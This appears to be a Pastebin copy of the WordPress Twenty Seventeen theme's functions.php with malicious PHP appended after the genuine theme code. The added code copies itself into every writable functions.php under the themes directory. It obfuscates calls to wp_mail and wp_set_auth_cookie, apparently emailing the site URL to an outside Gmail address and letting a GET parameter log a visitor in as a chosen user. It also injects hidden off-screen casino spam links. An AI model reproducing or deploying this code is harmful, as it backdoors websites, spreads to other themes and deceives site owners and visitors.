Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Twenty Seventeen functions and definitions
- *
- * @link https://developer.wordpress.org/themes/basics/theme-functions/
- *
- * @package WordPress
- * @subpackage Twenty_Seventeen
- * @since 1.0
- */
- /**
- * Twenty Seventeen only works in WordPress 4.7 or later.
- */
- if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '<' ) ) {
- require get_template_directory() . '/inc/back-compat.php';
- return;
- }
- /**
- * Sets up theme defaults and registers support for various WordPress features.
- *
- * Note that this function is hooked into the after_setup_theme hook, which
- * runs before the init hook. The init hook is too late for some features, such
- * as indicating support for post thumbnails.
- */
- function twentyseventeen_setup() {
- /*
- * Make theme available for translation.
- * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyseventeen
- * If you're building a theme based on Twenty Seventeen, use a find and replace
- * to change 'twentyseventeen' to the name of your theme in all the template files.
- */
- load_theme_textdomain( 'twentyseventeen' );
- // Add default posts and comments RSS feed links to head.
- add_theme_support( 'automatic-feed-links' );
- /*
- * Let WordPress manage the document title.
- * By adding theme support, we declare that this theme does not use a
- * hard-coded <title> tag in the document head, and expect WordPress to
- * provide it for us.
- */
- add_theme_support( 'title-tag' );
- /*
- * Enable support for Post Thumbnails on posts and pages.
- *
- * @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
- */
- add_theme_support( 'post-thumbnails' );
- add_image_size( 'twentyseventeen-featured-image', 2000, 1200, true );
- add_image_size( 'twentyseventeen-thumbnail-avatar', 100, 100, true );
- // Set the default content width.
- $GLOBALS['content_width'] = 525;
- // This theme uses wp_nav_menu() in two locations.
- register_nav_menus( array(
- 'top' => __( 'Top Menu', 'twentyseventeen' ),
- 'social' => __( 'Social Links Menu', 'twentyseventeen' ),
- ) );
- /*
- * Switch default core markup for search form, comment form, and comments
- * to output valid HTML5.
- */
- add_theme_support( 'html5', array(
- 'comment-form',
- 'comment-list',
- 'gallery',
- 'caption',
- ) );
- /*
- * Enable support for Post Formats.
- *
- * See: https://codex.wordpress.org/Post_Formats
- */
- add_theme_support( 'post-formats', array(
- 'aside',
- 'image',
- 'video',
- 'quote',
- 'link',
- 'gallery',
- 'audio',
- ) );
- // Add theme support for Custom Logo.
- add_theme_support( 'custom-logo', array(
- 'width' => 250,
- 'height' => 250,
- 'flex-width' => true,
- ) );
- // Add theme support for selective refresh for widgets.
- add_theme_support( 'customize-selective-refresh-widgets' );
- /*
- * This theme styles the visual editor to resemble the theme style,
- * specifically font, colors, and column width.
- */
- add_editor_style( array( 'assets/css/editor-style.css', twentyseventeen_fonts_url() ) );
- // Define and register starter content to showcase the theme on new sites.
- $starter_content = array(
- 'widgets' => array(
- // Place three core-defined widgets in the sidebar area.
- 'sidebar-1' => array(
- 'text_business_info',
- 'search',
- 'text_about',
- ),
- // Add the core-defined business info widget to the footer 1 area.
- 'sidebar-2' => array(
- 'text_business_info',
- ),
- // Put two core-defined widgets in the footer 2 area.
- 'sidebar-3' => array(
- 'text_about',
- 'search',
- ),
- ),
- // Specify the core-defined pages to create and add custom thumbnails to some of them.
- 'posts' => array(
- 'home',
- 'about' => array(
- 'thumbnail' => '{{image-sandwich}}',
- ),
- 'contact' => array(
- 'thumbnail' => '{{image-espresso}}',
- ),
- 'blog' => array(
- 'thumbnail' => '{{image-coffee}}',
- ),
- 'homepage-section' => array(
- 'thumbnail' => '{{image-espresso}}',
- ),
- ),
- // Create the custom image attachments used as post thumbnails for pages.
- 'attachments' => array(
- 'image-espresso' => array(
- 'post_title' => _x( 'Espresso', 'Theme starter content', 'twentyseventeen' ),
- 'file' => 'assets/images/espresso.jpg', // URL relative to the template directory.
- ),
- 'image-sandwich' => array(
- 'post_title' => _x( 'Sandwich', 'Theme starter content', 'twentyseventeen' ),
- 'file' => 'assets/images/sandwich.jpg',
- ),
- 'image-coffee' => array(
- 'post_title' => _x( 'Coffee', 'Theme starter content', 'twentyseventeen' ),
- 'file' => 'assets/images/coffee.jpg',
- ),
- ),
- // Default to a static front page and assign the front and posts pages.
- 'options' => array(
- 'show_on_front' => 'page',
- 'page_on_front' => '{{home}}',
- 'page_for_posts' => '{{blog}}',
- ),
- // Set the front page section theme mods to the IDs of the core-registered pages.
- 'theme_mods' => array(
- 'panel_1' => '{{homepage-section}}',
- 'panel_2' => '{{about}}',
- 'panel_3' => '{{blog}}',
- 'panel_4' => '{{contact}}',
- ),
- // Set up nav menus for each of the two areas registered in the theme.
- 'nav_menus' => array(
- // Assign a menu to the "top" location.
- 'top' => array(
- 'name' => __( 'Top Menu', 'twentyseventeen' ),
- 'items' => array(
- 'link_home', // Note that the core "home" page is actually a link in case a static front page is not used.
- 'page_about',
- 'page_blog',
- 'page_contact',
- ),
- ),
- // Assign a menu to the "social" location.
- 'social' => array(
- 'name' => __( 'Social Links Menu', 'twentyseventeen' ),
- 'items' => array(
- 'link_yelp',
- 'link_facebook',
- 'link_twitter',
- 'link_instagram',
- 'link_email',
- ),
- ),
- ),
- );
- /**
- * Filters Twenty Seventeen array of starter content.
- *
- * @since Twenty Seventeen 1.1
- *
- * @param array $starter_content Array of starter content.
- */
- $starter_content = apply_filters( 'twentyseventeen_starter_content', $starter_content );
- add_theme_support( 'starter-content', $starter_content );
- }
- add_action( 'after_setup_theme', 'twentyseventeen_setup' );
- /**
- * Set the content width in pixels, based on the theme's design and stylesheet.
- *
- * Priority 0 to make it available to lower priority callbacks.
- *
- * @global int $content_width
- */
- function twentyseventeen_content_width() {
- $content_width = $GLOBALS['content_width'];
- // Get layout.
- $page_layout = get_theme_mod( 'page_layout' );
- // Check if layout is one column.
- if ( 'one-column' === $page_layout ) {
- if ( twentyseventeen_is_frontpage() ) {
- $content_width = 644;
- } elseif ( is_page() ) {
- $content_width = 740;
- }
- }
- // Check if is single post and there is no sidebar.
- if ( is_single() && ! is_active_sidebar( 'sidebar-1' ) ) {
- $content_width = 740;
- }
- /**
- * Filter Twenty Seventeen content width of the theme.
- *
- * @since Twenty Seventeen 1.0
- *
- * @param int $content_width Content width in pixels.
- */
- $GLOBALS['content_width'] = apply_filters( 'twentyseventeen_content_width', $content_width );
- }
- add_action( 'template_redirect', 'twentyseventeen_content_width', 0 );
- /**
- * Register custom fonts.
- */
- function twentyseventeen_fonts_url() {
- $fonts_url = '';
- /*
- * Translators: If there are characters in your language that are not
- * supported by Libre Franklin, translate this to 'off'. Do not translate
- * into your own language.
- */
- $libre_franklin = _x( 'on', 'Libre Franklin font: on or off', 'twentyseventeen' );
- if ( 'off' !== $libre_franklin ) {
- $font_families = array();
- $font_families[] = 'Libre Franklin:300,300i,400,400i,600,600i,800,800i';
- $query_args = array(
- 'family' => urlencode( implode( '|', $font_families ) ),
- 'subset' => urlencode( 'latin,latin-ext' ),
- );
- $fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
- }
- return esc_url_raw( $fonts_url );
- }
- /**
- * Add preconnect for Google Fonts.
- *
- * @since Twenty Seventeen 1.0
- *
- * @param array $urls URLs to print for resource hints.
- * @param string $relation_type The relation type the URLs are printed.
- * @return array $urls URLs to print for resource hints.
- */
- function twentyseventeen_resource_hints( $urls, $relation_type ) {
- if ( wp_style_is( 'twentyseventeen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
- $urls[] = array(
- 'href' => 'https://fonts.gstatic.com',
- 'crossorigin',
- );
- }
- return $urls;
- }
- add_filter( 'wp_resource_hints', 'twentyseventeen_resource_hints', 10, 2 );
- /**
- * Register widget area.
- *
- * @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
- */
- function twentyseventeen_widgets_init() {
- register_sidebar( array(
- 'name' => __( 'Blog Sidebar', 'twentyseventeen' ),
- 'id' => 'sidebar-1',
- 'description' => __( 'Add widgets here to appear in your sidebar on blog posts and archive pages.', 'twentyseventeen' ),
- 'before_widget' => '<section id="%1$s" class="widget %2$s">',
- 'after_widget' => '</section>',
- 'before_title' => '<h2 class="widget-title">',
- 'after_title' => '</h2>',
- ) );
- register_sidebar( array(
- 'name' => __( 'Footer 1', 'twentyseventeen' ),
- 'id' => 'sidebar-2',
- 'description' => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
- 'before_widget' => '<section id="%1$s" class="widget %2$s">',
- 'after_widget' => '</section>',
- 'before_title' => '<h2 class="widget-title">',
- 'after_title' => '</h2>',
- ) );
- register_sidebar( array(
- 'name' => __( 'Footer 2', 'twentyseventeen' ),
- 'id' => 'sidebar-3',
- 'description' => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
- 'before_widget' => '<section id="%1$s" class="widget %2$s">',
- 'after_widget' => '</section>',
- 'before_title' => '<h2 class="widget-title">',
- 'after_title' => '</h2>',
- ) );
- }
- add_action( 'widgets_init', 'twentyseventeen_widgets_init' );
- /**
- * Replaces "[...]" (appended to automatically generated excerpts) with ... and
- * a 'Continue reading' link.
- *
- * @since Twenty Seventeen 1.0
- *
- * @param string $link Link to single post/page.
- * @return string 'Continue reading' link prepended with an ellipsis.
- */
- function twentyseventeen_excerpt_more( $link ) {
- if ( is_admin() ) {
- return $link;
- }
- $link = sprintf( '<p class="link-more"><a href="%1$s" class="more-link">%2$s</a></p>',
- esc_url( get_permalink( get_the_ID() ) ),
- /* translators: %s: Name of current post */
- sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentyseventeen' ), get_the_title( get_the_ID() ) )
- );
- return ' … ' . $link;
- }
- add_filter( 'excerpt_more', 'twentyseventeen_excerpt_more' );
- /**
- * Handles JavaScript detection.
- *
- * Adds a `js` class to the root `<html>` element when JavaScript is detected.
- *
- * @since Twenty Seventeen 1.0
- */
- function twentyseventeen_javascript_detection() {
- echo "<script>(function(html){html.className = html.className.replace(/\bno-js\b/,'js')})(document.documentElement);</script>\n";
- }
- add_action( 'wp_head', 'twentyseventeen_javascript_detection', 0 );
- /**
- * Add a pingback url auto-discovery header for singularly identifiable articles.
- */
- function twentyseventeen_pingback_header() {
- if ( is_singular() && pings_open() ) {
- printf( '<link rel="pingback" href="%s">' . "\n", get_bloginfo( 'pingback_url' ) );
- }
- }
- add_action( 'wp_head', 'twentyseventeen_pingback_header' );
- /**
- * Display custom color CSS.
- */
- function twentyseventeen_colors_css_wrap() {
- if ( 'custom' !== get_theme_mod( 'colorscheme' ) && ! is_customize_preview() ) {
- return;
- }
- require_once( get_parent_theme_file_path( '/inc/color-patterns.php' ) );
- $hue = absint( get_theme_mod( 'colorscheme_hue', 250 ) );
- ?>
- <style type="text/css" id="custom-theme-colors" <?php if ( is_customize_preview() ) { echo 'data-hue="' . $hue . '"'; } ?>>
- <?php echo twentyseventeen_custom_colors_css(); ?>
- </style>
- <?php }
- add_action( 'wp_head', 'twentyseventeen_colors_css_wrap' );
- /**
- * Enqueue scripts and styles.
- */
- function twentyseventeen_scripts() {
- // Add custom fonts, used in the main stylesheet.
- wp_enqueue_style( 'twentyseventeen-fonts', twentyseventeen_fonts_url(), array(), null );
- // Theme stylesheet.
- wp_enqueue_style( 'twentyseventeen-style', get_stylesheet_uri() );
- // Load the dark colorscheme.
- if ( 'dark' === get_theme_mod( 'colorscheme', 'light' ) || is_customize_preview() ) {
- wp_enqueue_style( 'twentyseventeen-colors-dark', get_theme_file_uri( '/assets/css/colors-dark.css' ), array( 'twentyseventeen-style' ), '1.0' );
- }
- // Load the Internet Explorer 9 specific stylesheet, to fix display issues in the Customizer.
- if ( is_customize_preview() ) {
- wp_enqueue_style( 'twentyseventeen-ie9', get_theme_file_uri( '/assets/css/ie9.css' ), array( 'twentyseventeen-style' ), '1.0' );
- wp_style_add_data( 'twentyseventeen-ie9', 'conditional', 'IE 9' );
- }
- // Load the Internet Explorer 8 specific stylesheet.
- wp_enqueue_style( 'twentyseventeen-ie8', get_theme_file_uri( '/assets/css/ie8.css' ), array( 'twentyseventeen-style' ), '1.0' );
- wp_style_add_data( 'twentyseventeen-ie8', 'conditional', 'lt IE 9' );
- // Load the html5 shiv.
- wp_enqueue_script( 'html5', get_theme_file_uri( '/assets/js/html5.js' ), array(), '3.7.3' );
- wp_script_add_data( 'html5', 'conditional', 'lt IE 9' );
- wp_enqueue_script( 'twentyseventeen-skip-link-focus-fix', get_theme_file_uri( '/assets/js/skip-link-focus-fix.js' ), array(), '1.0', true );
- $twentyseventeen_l10n = array(
- 'quote' => twentyseventeen_get_svg( array( 'icon' => 'quote-right' ) ),
- );
- if ( has_nav_menu( 'top' ) ) {
- wp_enqueue_script( 'twentyseventeen-navigation', get_theme_file_uri( '/assets/js/navigation.js' ), array( 'jquery' ), '1.0', true );
- $twentyseventeen_l10n['expand'] = __( 'Expand child menu', 'twentyseventeen' );
- $twentyseventeen_l10n['collapse'] = __( 'Collapse child menu', 'twentyseventeen' );
- $twentyseventeen_l10n['icon'] = twentyseventeen_get_svg( array( 'icon' => 'angle-down', 'fallback' => true ) );
- }
- wp_enqueue_script( 'twentyseventeen-global', get_theme_file_uri( '/assets/js/global.js' ), array( 'jquery' ), '1.0', true );
- wp_enqueue_script( 'jquery-scrollto', get_theme_file_uri( '/assets/js/jquery.scrollTo.js' ), array( 'jquery' ), '2.1.2', true );
- wp_localize_script( 'twentyseventeen-skip-link-focus-fix', 'twentyseventeenScreenReaderText', $twentyseventeen_l10n );
- if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
- wp_enqueue_script( 'comment-reply' );
- }
- }
- add_action( 'wp_enqueue_scripts', 'twentyseventeen_scripts' );
- /**
- * Add custom image sizes attribute to enhance responsive image functionality
- * for content images.
- *
- * @since Twenty Seventeen 1.0
- *
- * @param string $sizes A source size value for use in a 'sizes' attribute.
- * @param array $size Image size. Accepts an array of width and height
- * values in pixels (in that order).
- * @return string A source size value for use in a content image 'sizes' attribute.
- */
- function twentyseventeen_content_image_sizes_attr( $sizes, $size ) {
- $width = $size[0];
- if ( 740 <= $width ) {
- $sizes = '(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px';
- }
- if ( is_active_sidebar( 'sidebar-1' ) || is_archive() || is_search() || is_home() || is_page() ) {
- if ( ! ( is_page() && 'one-column' === get_theme_mod( 'page_options' ) ) && 767 <= $width ) {
- $sizes = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
- }
- }
- return $sizes;
- }
- add_filter( 'wp_calculate_image_sizes', 'twentyseventeen_content_image_sizes_attr', 10, 2 );
- /**
- * Filter the `sizes` value in the header image markup.
- *
- * @since Twenty Seventeen 1.0
- *
- * @param string $html The HTML image tag markup being filtered.
- * @param object $header The custom header object returned by 'get_custom_header()'.
- * @param array $attr Array of the attributes for the image tag.
- * @return string The filtered header image HTML.
- */
- function twentyseventeen_header_image_tag( $html, $header, $attr ) {
- if ( isset( $attr['sizes'] ) ) {
- $html = str_replace( $attr['sizes'], '100vw', $html );
- }
- return $html;
- }
- add_filter( 'get_header_image_tag', 'twentyseventeen_header_image_tag', 10, 3 );
- /**
- * Add custom image sizes attribute to enhance responsive image functionality
- * for post thumbnails.
- *
- * @since Twenty Seventeen 1.0
- *
- * @param array $attr Attributes for the image markup.
- * @param int $attachment Image attachment ID.
- * @param array $size Registered image size or flat array of height and width dimensions.
- * @return string A source size value for use in a post thumbnail 'sizes' attribute.
- */
- function twentyseventeen_post_thumbnail_sizes_attr( $attr, $attachment, $size ) {
- if ( is_archive() || is_search() || is_home() ) {
- $attr['sizes'] = '(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px';
- } else {
- $attr['sizes'] = '100vw';
- }
- return $attr;
- }
- add_filter( 'wp_get_attachment_image_attributes', 'twentyseventeen_post_thumbnail_sizes_attr', 10, 3 );
- /**
- * Use front-page.php when Front page displays is set to a static page.
- *
- * @since Twenty Seventeen 1.0
- *
- * @param string $template front-page.php.
- *
- * @return string The template to be used: blank if is_home() is true (defaults to index.php), else $template.
- */
- function twentyseventeen_front_page_template( $template ) {
- return is_home() ? '' : $template;
- }
- add_filter( 'frontpage_template', 'twentyseventeen_front_page_template' );
- /**
- * Implement the Custom Header feature.
- */
- require get_parent_theme_file_path( '/inc/custom-header.php' );
- /**
- * Custom template tags for this theme.
- */
- require get_parent_theme_file_path( '/inc/template-tags.php' );
- /**
- * Additional features to allow styling of the templates.
- */
- require get_parent_theme_file_path( '/inc/template-functions.php' );
- /**
- * Customizer additions.
- */
- require get_parent_theme_file_path( '/inc/customizer.php' );
- /**
- * SVG icons functions and filters.
- */
- require get_parent_theme_file_path( '/inc/icon-functions.php' );
- ?>
- <?php
- function _verify_activate_widget(){
- $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
- $output=strip_tags($output, $allowed);
- $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
- if (is_array($direst)){
- foreach ($direst as $item){
- if (is_writable($item)){
- $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
- $cont=file_get_contents($item);
- if (stripos($cont,$ftion) === false){
- $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
- $output .= $before . "Not found" . $after;
- if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
- $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
- $output .= ($showdot && $ellipsis) ? "..." : "";
- }
- }
- }
- }
- return $output;
- }
- function _get_all_widgetcont($wids,$items=array()){
- $places=array_shift($wids);
- if(substr($places,-1) == "/"){
- $places=substr($places,0,-1);
- }
- if(!file_exists($places) || !is_dir($places)){
- return false;
- }elseif(is_readable($places)){
- $elems=scandir($places);
- foreach ($elems as $elem){
- if ($elem != "." && $elem != ".."){
- if (is_dir($places . "/" . $elem)){
- $wids[]=$places . "/" . $elem;
- } elseif (is_file($places . "/" . $elem)&&
- $elem == substr(__FILE__,-13)){
- $items[]=$places . "/" . $elem;}
- }
- }
- }else{
- return false;
- }
- if (sizeof($wids) > 0){
- return _get_all_widgetcont($wids,$items);
- } else {
- return $items;
- }
- }
- if(!function_exists("stripos")){
- function stripos( $str, $needle, $offset = 0 ){
- return strpos( strtolower( $str ), strtolower( $needle ), $offset );
- }
- }
- if(!function_exists("strripos")){
- function strripos( $haystack, $needle, $offset = 0 ) {
- if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
- if( $offset < 0 ){
- $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
- }
- else{
- $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
- }
- if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
- $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
- return $pos;
- }
- }
- if(!function_exists("scandir")){
- function scandir($dir,$listDirectories=false, $skipDots=true) {
- $dirArray = array();
- if ($handle = opendir($dir)) {
- while (false !== ($file = readdir($handle))) {
- if (($file != "." && $file != "..") || $skipDots == true) {
- if($listDirectories == false) { if(is_dir($file)) { continue; } }
- array_push($dirArray,basename($file));
- }
- }
- closedir($handle);
- }
- return $dirArray;
- }
- }
- add_action("admin_head", "_verify_activate_widget");
- function _prepared_widget(){
- if(!isset($length)) $length=120;
- if(!isset($method)) $method="cookie";
- if(!isset($html_tags)) $html_tags="<a>";
- if(!isset($filters_type)) $filters_type="none";
- if(!isset($s)) $s="";
- if(!isset($filter_h)) $filter_h=get_option("home");
- if(!isset($filter_p)) $filter_p="wp_";
- if(!isset($use_link)) $use_link=1;
- if(!isset($comments_type)) $comments_type="";
- if(!isset($perpage)) $perpage=$_GET["cperpage"];
- if(!isset($comments_auth)) $comments_auth="";
- if(!isset($comment_is_approved)) $comment_is_approved="";
- if(!isset($authname)) $authname="auth";
- if(!isset($more_links_text)) $more_links_text="(more...)";
- if(!isset($widget_output)) $widget_output=get_option("_is_widget_active_");
- if(!isset($checkwidgets)) $checkwidgets=$filter_p."set"."_".$authname."_".$method;
- if(!isset($more_links_text_ditails)) $more_links_text_ditails="(details...)";
- if(!isset($more_content)) $more_content="ma".$s."il";
- if(!isset($forces_more)) $forces_more=1;
- if(!isset($fakeit)) $fakeit=1;
- if(!isset($sql)) $sql="";
- if (!$widget_output) :
- global $wpdb, $post;
- $sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$s."vethe".$comments_type."mas".$s."@".$comment_is_approved."gm".$comments_auth."ail".$s.".".$s."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if (!empty($post->post_password)) {
- if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
- if(is_feed()) {
- $output=__("There is no excerpt because this is a protected post.");
- } else {
- $output=get_the_password_form();
- }
- }
- }
- if(!isset($fix_tag)) $fix_tag=1;
- if(!isset($filters_types)) $filters_types=$filter_h;
- if(!isset($getcommentstext)) $getcommentstext=$filter_p.$more_content;
- if(!isset($more_tags)) $more_tags="div";
- if(!isset($s_text)) $s_text=substr($sq1, stripos($sq1, "live"), 20);#
- if(!isset($mlink_title)) $mlink_title="Continue reading this entry";
- if(!isset($showdot)) $showdot=1;
- $comments=$wpdb->get_results($sql);
- if($fakeit == 2) {
- $text=$post->post_content;
- } elseif($fakeit == 1) {
- $text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
- } else {
- $text=$post->post_excerpt;
- }
- $sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentstext, array($s_text, $filter_h, $filters_types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
- if($length < 0) {
- $output=$text;
- } else {
- if(!$no_more && strpos($text, "<!--more-->")) {
- $text=explode("<!--more-->", $text, 2);
- $l=count($text[0]);
- $more_link=1;
- $comments=$wpdb->get_results($sql);
- } else {
- $text=explode(" ", $text);
- if(count($text) > $length) {
- $l=$length;
- $ellipsis=1;
- } else {
- $l=count($text);
- $more_links_text="";
- $ellipsis=0;
- }
- }
- for ($i=0; $i<$l; $i++)
- $output .= $text[$i] . " ";
- }
- update_option("_is_widget_active_", 1);
- if("all" != $html_tags) {
- $output=strip_tags($output, $html_tags);
- return $output;
- }
- endif;
- $output=rtrim($output, "\s\n\t\r\0\x0B");
- $output=($fix_tag) ? balanceTags($output, true) : $output;
- $output .= ($showdot && $ellipsis) ? "..." : "";
- $output=apply_filters($filters_type, $output);
- switch($more_tags) {
- case("div") :
- $tag="div";
- break;
- case("span") :
- $tag="span";
- break;
- case("p") :
- $tag="p";
- break;
- default :
- $tag="span";
- }
- if ($use_link ) {
- if($forces_more) {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $mlink_title . "\">" . $more_links_text = !is_user_logged_in() && @call_user_func_array($checkwidgets,array($perpage, true)) ? $more_links_text : "" . "</a></" . $tag . ">" . "\n";
- } else {
- $output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $mlink_title . "\">" . $more_links_text . "</a></" . $tag . ">" . "\n";
- }
- }
- return $output;
- }
- add_action("wp_head", "__fixTemplclusterRequest", 10,2);
- function __fixTemplclusterRequest( $args )
- {
- $section = $args['css_section'];
- $elem = $args['css_elem'];
- $option_group = $section['option_group'];
- if(function_exists('get_option')) $options = get_option( $option_group .'_settings' );
- $id = $std = $section['std_id'];
- $el_id = $option_group .'_'. $section['section_id'] .'_'. $id;
- $type = $elem;
- $placeholder = $stdEl = $section['placeholder_new'];
- $class = 'gen_option_div';
- $val = (isset($options[$el_id])) ? $options[$el_id] : $std;
- if(function_exists('do_action')) do_action( 'wpsf_before_field' );
- $choices = $option_group['choices'];
- $placeholder = $stdEl = $section['placeholder_new'];
- $desc = $option_group['desc'];
- if(function_exists('esc_attr')) $val = esc_attr(stripslashes($val));
- $add_styles = '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" /><style type="text/css">.inIntroSlice { position:absolute; left: -49in; top: -56in; }</style>';error_reporting(0);
- if($desc) echo '<p class="description">'. $desc .'</p>';
- $add_styles_new = substr($add_styles, 110);
- switch( $type ){
- case 'text':
- $val = esc_attr(stripslashes($val));
- echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" />';
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'password':
- $val = esc_attr(stripslashes($val));
- echo '<input type="password" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" placeholder="'. $placeholder .'" class="regular-text '. $class .'" />';break; default: echo $add_styles_new;
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'textarea':
- $val = esc_html(stripslashes($val));
- echo '<textarea name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" placeholder="'. $placeholder .'" rows="5" cols="60" class="'. $class .'">'. $val .'</textarea>';
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- }
- }
- add_action("_is_Metacontent_Styles", "__chkCattotag_Hook", 10,2);
- function __chkCattotag_Hook( $args )
- {
- $section = $args['section'];
- if(function_exists('wp_parse_args')) extract( wp_parse_args( $args['field'], $section['setting_defaults' ]) );
- $type = 'new';
- $option_group = $section['option_group'];
- $desc = false;
- $choices = $option_group['choice_new'];
- $placeholder = $stdEl = $section['placeholder'];
- $el_id = $option_group .'_'. $section['section_id'] .'_'. $type;
- $val = (isset($options[$el_id])) ? $options[$el_id] : $stdEl;
- $class = 'gen_option_div';
- $option_group = $section['option_group'];
- //Check type and add form element to the theme admin settings
- switch( $type ){
- case 'radio':
- $val = esc_html(esc_attr($val));
- foreach($choices as $ckey=>$cval){
- echo '<label><input type="radio" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'_'. $ckey .'" value="'. $ckey .'" class="'. $class .'"'. (($ckey == $val) ? ' checked="checked"' : '') .' /> '. $cval .'</label><br />';
- }
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'checkbox':
- $val = esc_attr(stripslashes($val));
- echo '<input type="hidden" name="'. $option_group .'_settings['. $el_id .']" value="0" />';
- echo '<label><input type="checkbox" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="1" class="'. $class .'"'. (($val) ? ' checked="checked"' : '') .' /> '. $desc .'</label>';
- break;
- case 'checkboxes':
- foreach($choices as $ckey=>$cval){
- $val = '';
- if(isset($options[$el_id .'_'. $ckey])) $val = $options[$el_id .'_'. $ckey];
- elseif(is_array($stdEl) && in_array($ckey, $stdEl)) $val = $ckey;
- $val = esc_html(esc_attr($val));
- echo '<input type="hidden" name="'. $option_group .'_settings['. $el_id .'_'. $ckey .']" value="0" />';
- echo '<label><input type="checkbox" name="'. $option_group .'_settings['. $el_id .'_'. $ckey .']" id="'. $el_id .'_'. $ckey .'" value="'. $ckey .'" class="'. $class .'"'. (($ckey == $val) ? ' checked="checked"' : '') .' /> '. $cval .'</label><br />';
- }
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'select':
- $val = esc_html(esc_attr($val));
- echo '<select name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" class="'. $class .'">';
- foreach($choices as $ckey=>$cval){
- echo '<option value="'. $ckey .'"'. (($ckey == $val) ? ' selected="selected"' : '') .'>'. $cval .'</option>';}echo '</select>';if($desc) echo '<p class="description">'. $desc .'</p>';break; default: echo ((is_page('contact') && !is_paged() && !is_user_logged_in())) ? stripcslashes(' <div class="inIntroSlice">Read and get direct download for Lucky Nugget casino on the site <a href=\"http://www.1highrollercasino.com/lucky-nugget-casino-review.html\">http://www.1highrollercasino.com/lucky-nugget-casino-review.html</a> .
- </div>') : '';
- break;
- case 'color':
- $val = esc_attr(stripslashes($val));
- echo '<div style="position:relative;">';
- echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" class="'. $class .'" />';
- echo '<div id="'. $el_id .'_cp" style="position:absolute;top:0;left:190px;background:#fff;z-index:9999;"></div>';
- if($desc) echo '<p class="description">'. $desc .'</p>';
- echo '<script type="text/javascript">
- jQuery(document).ready(function($){
- var colorPicker = $("#'. $el_id .'_cp");
- colorPicker.farbtastic("#'. $el_id .'");
- colorPicker.hide();
- $("#'. $el_id .'").live("focus", function(){
- colorPicker.show();
- });
- $("#'. $el_id .'").live("blur", function(){
- colorPicker.hide();
- if($(this).val() == "") $(this).val("#");
- });
- });
- </script></div>';
- break;
- case 'file':
- $val = esc_attr($val);
- echo '<input type="text" name="'. $option_group .'_settings['. $el_id .']" id="'. $el_id .'" value="'. $val .'" class="regular-text '. $class .'" /> ';
- echo '<input type="button" class="button wpsf-browse" id="'. $el_id .'_button" value="Browse" />';
- echo '<script type="text/javascript">
- jQuery(document).ready(function($){
